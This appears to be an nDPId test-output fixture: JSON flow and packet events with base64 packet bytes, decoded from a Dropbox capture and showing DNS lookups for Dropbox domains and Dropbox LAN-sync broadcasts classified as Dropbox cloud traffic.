+00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":801,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":200,"flow_first_seen":1455907274088,"flow_last_seen":1455907285181,"flow_tot_l4_data_len":13394,"flow_min_l4_data_len":25,"flow_max_l4_data_len":109,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50312,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":801,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":200,"flow_first_seen":1455907272856,"flow_last_seen":1455907284046,"flow_tot_l4_data_len":13420,"flow_min_l4_data_len":25,"flow_max_l4_data_len":109,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50318,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":801,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":200,"flow_first_seen":1455907275690,"flow_last_seen":1455907286608,"flow_tot_l4_data_len":13342,"flow_min_l4_data_len":25,"flow_max_l4_data_len":109,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50319,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":801,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1459182796665,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":55407,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":801,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182796,"pkt_ts_usec":665502,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"8IQvSpdgeJKcD6iOCABFAABAOLtAAEARfTrAqAFpwKgB\/thvADUALFKSg5wBAAABAAAAAAAABmNsaWVudAdkcm9wYm94A2NvbQAAAQAB"} +00645{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":801,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1459182796665,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":55407,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Dropbox","breed":"Acceptable","category":"Cloud"},"dns": {"query":"client.dropbox.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00441{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":802,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182796,"pkt_ts_usec":665502,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"8IQvSpdgeJKcD6iOCABFAABAOLtAAEARfTrAqAFpwKgB\/thvADUALFKSg5wBAAABAAAAAAAABmNsaWVudAdkcm9wYm94A2NvbQAAAQAB"} +00784{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":803,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182796,"pkt_ts_usec":786743,"pkt_caplen":333,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":333,"pkt_l4_len":299,"pkt":"eJKcD6iO8IQvSpdgCABFAAE\/AABAAEARtPbAqAH+wKgBaQA12G8BK6cig5yBgAABAAMABAAEBmNsaWVudAdkcm9wYm94A2NvbQAAAQABwAwABQABAAAAwAALBmNsaWVudAF2wBPAMAABAAEAAAAUAARsoKzMwDAAAQABAAAAFAAEbKCs7MA3AAIAAQAA9bUAGQducy0xOTI2CWF3c2Rucy00OAJjbwJ1awDANwACAAEAAPW1ABYGbnMtNzczCWF3c2Rucy0zMgNuZXQAwDcAAgABAAD1tQASBW5zLTU3CWF3c2Rucy0wN8AbwDcAAgABAAD1tQAXB25zLTEyNzYJYXdzZG5zLTMxA29yZwDArgABAAEAAkcJAATN+8A5wIwAAQABAAJG7wAEzfvDBcDMAAEAAQACRu8ABM37xPzAZwABAAEAAkbkAATN+8eG"} +00677{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":803,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":3,"flow_first_seen":1459182796665,"flow_last_seen":1459182796786,"flow_tot_l4_data_len":387,"flow_min_l4_data_len":44,"flow_max_l4_data_len":299,"flow_avg_l4_data_len":129,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":55407,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Dropbox","breed":"Acceptable","category":"Cloud"},"dns": {"query":"client.dropbox.com","num_queries":1,"num_answers":11,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"108.160.172.204"}} +00784{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":804,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182796,"pkt_ts_usec":786743,"pkt_caplen":333,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":333,"pkt_l4_len":299,"pkt":"eJKcD6iO8IQvSpdgCABFAAE\/AABAAEARtPbAqAH+wKgBaQA12G8BK6cig5yBgAABAAMABAAEBmNsaWVudAdkcm9wYm94A2NvbQAAAQABwAwABQABAAAAwAALBmNsaWVudAF2wBPAMAABAAEAAAAUAARsoKzMwDAAAQABAAAAFAAEbKCs7MA3AAIAAQAA9bUAGQducy0xOTI2CWF3c2Rucy00OAJjbwJ1awDANwACAAEAAPW1ABYGbnMtNzczCWF3c2Rucy0zMgNuZXQAwDcAAgABAAD1tQASBW5zLTU3CWF3c2Rucy0wN8AbwDcAAgABAAD1tQAXB25zLTEyNzYJYXdzZG5zLTMxA29yZwDArgABAAEAAkcJAATN+8A5wIwAAQABAAJG7wAEzfvDBcDMAAEAAQACRu8ABM37xPzAZwABAAEAAkbkAATN+8eG"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":805,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1459182798602,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":49112,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":805,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182798,"pkt_ts_usec":602362,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"8IQvSpdgeJKcD6iOCABFAABDOVFAAEARfKHAqAFpwKgB\/r\/YADUALxT2I4YBAAABAAAAAAAACWNsaWVudC1jZgdkcm9wYm94A2NvbQAAAQAB"} +00648{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":805,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1459182798602,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":49112,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Dropbox","breed":"Acceptable","category":"Cloud"},"dns": {"query":"client-cf.dropbox.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00446{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":806,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182798,"pkt_ts_usec":602362,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"8IQvSpdgeJKcD6iOCABFAABDOVFAAEARfKHAqAFpwKgB\/r\/YADUALxT2I4YBAAABAAAAAAAACWNsaWVudC1jZgdkcm9wYm94A2NvbQAAAQAB"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":807,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1459182798651,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":50789,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":807,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182798,"pkt_ts_usec":651426,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"8IQvSpdgeJKcD6iOCABFAAA7OV1AAEARfJ3AqAFpwKgB\/sZlADUAJw161e8BAAABAAAAAAAAAWQHZHJvcGJveANjb20AAAEAAQ=="} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":807,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1459182798651,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":50789,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Dropbox","breed":"Acceptable","category":"Cloud"},"dns": {"query":"d.dropbox.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00437{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":808,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182798,"pkt_ts_usec":651426,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"8IQvSpdgeJKcD6iOCABFAAA7OV1AAEARfJ3AqAFpwKgB\/sZlADUAJw161e8BAAABAAAAAAAAAWQHZHJvcGJveANjb20AAAEAAQ=="} +00747{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":809,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182798,"pkt_ts_usec":781825,"pkt_caplen":306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":306,"pkt_l4_len":272,"pkt":"eJKcD6iO8IQvSpdgCABFAAEkAABAAEARtRHAqAH+wKgBaQA1v9gBEDDEI4aBgAABAAEABAAECWNsaWVudC1jZgdkcm9wYm94A2NvbQAAAQABwAwAAQABAAAAFAAENvCuH8AWAAIAAQABU2AAGQducy0xOTQ5CWF3c2Rucy01MQJjbwJ1awDAFgACAAEAAVNgABcHbnMtMTE2Mglhd3NkbnMtMTcDb3JnAMAWAAIAAQABU2AAFgZucy01NjQJYXdzZG5zLTA2A25ldADAFgACAAEAAVNgABMGbnMtMzE1CWF3c2Rucy0zOcAewK0AAQABAAIhDwAEzfvBO8CLAAEAAQABU1QABM37wjQHTlMtMTE2MsBwAAEAAQABU10ABM37xIrAQwABAAEAAVNaAATN+8ed"} +00677{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":809,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":3,"flow_first_seen":1459182798602,"flow_last_seen":1459182798781,"flow_tot_l4_data_len":366,"flow_min_l4_data_len":47,"flow_max_l4_data_len":272,"flow_avg_l4_data_len":122,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":49112,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Dropbox","breed":"Acceptable","category":"Cloud"},"dns": {"query":"client-cf.dropbox.com","num_queries":1,"num_answers":9,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.240.174.31"}} +00747{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":810,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182798,"pkt_ts_usec":781825,"pkt_caplen":306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":306,"pkt_l4_len":272,"pkt":"eJKcD6iO8IQvSpdgCABFAAEkAABAAEARtRHAqAH+wKgBaQA1v9gBEDDEI4aBgAABAAEABAAECWNsaWVudC1jZgdkcm9wYm94A2NvbQAAAQABwAwAAQABAAAAFAAENvCuH8AWAAIAAQABU2AAGQducy0xOTQ5CWF3c2Rucy01MQJjbwJ1awDAFgACAAEAAVNgABcHbnMtMTE2Mglhd3NkbnMtMTcDb3JnAMAWAAIAAQABU2AAFgZucy01NjQJYXdzZG5zLTA2A25ldADAFgACAAEAAVNgABMGbnMtMzE1CWF3c2Rucy0zOcAewK0AAQABAAIhDwAEzfvBO8CLAAEAAQABU1QABM37wjQHTlMtMTE2MsBwAAEAAQABU10ABM37xIrAQwABAAEAAVNaAATN+8ed"} +00772{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":811,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182798,"pkt_ts_usec":820682,"pkt_caplen":323,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":323,"pkt_l4_len":289,"pkt":"eJKcD6iO8IQvSpdgCABFAAE1AABAAEARtQDAqAH+wKgBaQA1xmUBIb321e+BgAABAAMABAAEAWQHZHJvcGJveANjb20AAAEAAcAMAAUAAQAAAQsABgFkAXbADsArAAEAAQAAAC0ABGygrOHAKwABAAEAAAAtAARsoKzBwC0AAgABAAD1swAXB25zLTEyNzYJYXdzZG5zLTMxA29yZwDALQACAAEAAPWzABIFbnMtNTcJYXdzZG5zLTA3wBbALQACAAEAAPWzABYGbnMtNzczCWF3c2Rucy0zMgNuZXQAwC0AAgABAAD1swAZB25zLTE5MjYJYXdzZG5zLTQ4AmNvAnVrAMCAAAEAAQACRwcABM37wDnAngABAAEAAkbtAATN+8MFwF0AAQABAAJG7QAEzfvE\/MDAAAEAAQACRuIABM37x4Y="} +00672{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":811,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":3,"flow_first_seen":1459182798651,"flow_last_seen":1459182798820,"flow_tot_l4_data_len":367,"flow_min_l4_data_len":39,"flow_max_l4_data_len":289,"flow_avg_l4_data_len":122,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":50789,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Dropbox","breed":"Acceptable","category":"Cloud"},"dns": {"query":"d.dropbox.com","num_queries":1,"num_answers":11,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"108.160.172.225"}} +00772{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":812,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182798,"pkt_ts_usec":820682,"pkt_caplen":323,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":323,"pkt_l4_len":289,"pkt":"eJKcD6iO8IQvSpdgCABFAAE1AABAAEARtQDAqAH+wKgBaQA1xmUBIb321e+BgAABAAMABAAEAWQHZHJvcGJveANjb20AAAEAAcAMAAUAAQAAAQsABgFkAXbADsArAAEAAQAAAC0ABGygrOHAKwABAAEAAAAtAARsoKzBwC0AAgABAAD1swAXB25zLTEyNzYJYXdzZG5zLTMxA29yZwDALQACAAEAAPWzABIFbnMtNTcJYXdzZG5zLTA3wBbALQACAAEAAPWzABYGbnMtNzczCWF3c2Rucy0zMgNuZXQAwC0AAgABAAD1swAZB25zLTE5MjYJYXdzZG5zLTQ4AmNvAnVrAMCAAAEAAQACRwcABM37wDnAngABAAEAAkbtAATN+8MFwF0AAQABAAJG7QAEzfvE\/MDAAAEAAQACRuIABM37x4Y="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":813,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1459182816605,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":36173,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":813,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182816,"pkt_ts_usec":605524,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"8IQvSpdgeJKcD6iOCABFAABAP3NAAEARdoLAqAFpwKgB\/o1NADUALHL+F+YBAAABAAAAAAAAA2xvZwpnZXRkcm9wYm94A2NvbQAAAQAB"} +00645{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":813,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1459182816605,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":36173,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Dropbox","breed":"Acceptable","category":"Cloud"},"dns": {"query":"log.getdropbox.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00441{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":814,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182816,"pkt_ts_usec":605524,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"8IQvSpdgeJKcD6iOCABFAABAP3NAAEARdoLAqAFpwKgB\/o1NADUALHL+F+YBAAABAAAAAAAAA2xvZwpnZXRkcm9wYm94A2NvbQAAAQAB"} +00441{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":815,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182816,"pkt_ts_usec":605583,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"8IQvSpdgeJKcD6iOCABFAABAP3RAAEARdoHAqAFpwKgB\/o1NADUALO8im6YBAAABAAAAAAAAA2xvZwpnZXRkcm9wYm94A2NvbQAAHAAB"} +00667{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":815,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":3,"flow_first_seen":1459182816605,"flow_last_seen":1459182816605,"flow_tot_l4_data_len":132,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":36173,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Dropbox","breed":"Acceptable","category":"Cloud"},"dns": {"query":"log.getdropbox.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00441{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":816,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182816,"pkt_ts_usec":605583,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"8IQvSpdgeJKcD6iOCABFAABAP3RAAEARdoHAqAFpwKgB\/o1NADUALO8im6YBAAABAAAAAAAAA2xvZwpnZXRkcm9wYm94A2NvbQAAHAAB"} +00599{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":817,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182816,"pkt_ts_usec":645471,"pkt_caplen":194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":194,"pkt_l4_len":160,"pkt":"eJKcD6iO8IQvSpdgCABFAAC0AABAAEARtYHAqAH+wKgBaQA1jU0AoAOWm6aBgAABAAEAAQAAA2xvZwpnZXRkcm9wYm94A2NvbQAAHAABwAwABQABAAABpgAXCmdldGRyb3Bib3gBdgdkcm9wYm94wBvAOwAGAAEAAAHWAEUGbnMtNzczCWF3c2Rucy0zMgNuZXQAEWF3c2Rucy1ob3N0bWFzdGVyBmFtYXpvbsAbAAAAAQAAHCAAAAOEABJ1AAAAASw="} +00668{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":817,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":5,"flow_first_seen":1459182816605,"flow_last_seen":1459182816645,"flow_tot_l4_data_len":336,"flow_min_l4_data_len":44,"flow_max_l4_data_len":160,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"192.168.1.254","src_port":36173,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Dropbox","breed":"Acceptable","category":"Cloud"},"dns": {"query":"log.getdropbox.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":28,"rsp_type":5,"rsp_addr":"0.0.0.0"}} +00599{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":818,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182816,"pkt_ts_usec":645471,"pkt_caplen":194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":194,"pkt_l4_len":160,"pkt":"eJKcD6iO8IQvSpdgCABFAAC0AABAAEARtYHAqAH+wKgBaQA1jU0AoAOWm6aBgAABAAEAAQAAA2xvZwpnZXRkcm9wYm94A2NvbQAAHAABwAwABQABAAABpgAXCmdldGRyb3Bib3gBdgdkcm9wYm94wBvAOwAGAAEAAAHWAEUGbnMtNzczCWF3c2Rucy0zMgNuZXQAEWF3c2Rucy1ob3N0bWFzdGVyBmFtYXpvbsAbAAAAAQAAHCAAAAOEABJ1AAAAASw="} +00799{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":819,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182816,"pkt_ts_usec":645514,"pkt_caplen":345,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":345,"pkt_l4_len":311,"pkt":"eJKcD6iO8IQvSpdgCABFAAFLAABAAEARtOrAqAH+wKgBaQA1jU0BN+znF+aBgAABAAMABAAEA2xvZwpnZXRkcm9wYm94A2NvbQAAAQABwAwABQABAAABpgAXCmdldGRyb3Bib3gBdgdkcm9wYm94wBvAMAABAAEAAAA1AARsoKzDwDAAAQABAAAANQAEbKCs48A7AAIAAQAAAkYAFgZucy03NzMJYXdzZG5zLTMyA25ldADAOwACAAEAAAJGABkHbnMtMTkyNglhd3NkbnMtNDgCY28CdWsAwDsAAgABAAACRgAXB25zLTEyNzYJYXdzZG5zLTMxA29yZwDAOwACAAEAAAJGABIFbnMtNTcJYXdzZG5zLTA3wBvA3QABAAEAAVNyAATN+8A5wHMAAQABAAFTTAAEzfvDBcC6AAEAAQABU0wABM37xPzAlQABAAEAAVNQAATN+8eG"} +00799{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":820,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182816,"pkt_ts_usec":645514,"pkt_caplen":345,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":345,"pkt_l4_len":311,"pkt":"eJKcD6iO8IQvSpdgCABFAAFLAABAAEARtOrAqAH+wKgBaQA1jU0BN+znF+aBgAABAAMABAAEA2xvZwpnZXRkcm9wYm94A2NvbQAAAQABwAwABQABAAABpgAXCmdldGRyb3Bib3gBdgdkcm9wYm94wBvAMAABAAEAAAA1AARsoKzDwDAAAQABAAAANQAEbKCs48A7AAIAAQAAAkYAFgZucy03NzMJYXdzZG5zLTMyA25ldADAOwACAAEAAAJGABkHbnMtMTkyNglhd3NkbnMtNDgCY28CdWsAwDsAAgABAAACRgAXB25zLTEyNzYJYXdzZG5zLTMxA29yZwDAOwACAAEAAAJGABIFbnMtNTcJYXdzZG5zLTA3wBvA3QABAAEAAVNyAATN+8A5wHMAAQABAAFTTAAEzfvDBcC6AAEAAQABU0wABM37xPzAlQABAAEAAVNQAATN+8eG"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":821,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1459182817566,"flow_last_seen":0,"flow_tot_l4_data_len":203,"flow_min_l4_data_len":203,"flow_max_l4_data_len":203,"flow_avg_l4_data_len":203,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00668{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":821,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1459182817,"pkt_ts_usec":566407,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAADfQ1JAAEARNKvAqAFp\/\/\/\/\/0RcRFwAy8gLeyJob3N0X2ludCI6IDI3NDM2MzU3MDAzNjkzNDgyMzM2MDM0MTQwOTA1MTg0MTU3MzU3OSwgInZlcnNpb24iOiBbMiwgMF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDYwMzE0MCwgMTY3MTU2ODYsIDQ4NzQ1ODk1LCAxOTA3NjA0MCwgODc5NTY4MDQzLCAxMjM1MzUwMzAsIDE4MjE2NDkyMl19"} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":821,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1459182817566,"flow_last_seen":0,"flow_tot_l4_data_len":203,"flow_min_l4_data_len":203,"flow_max_l4_data_len":203,"flow_avg_l4_data_len":203,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} 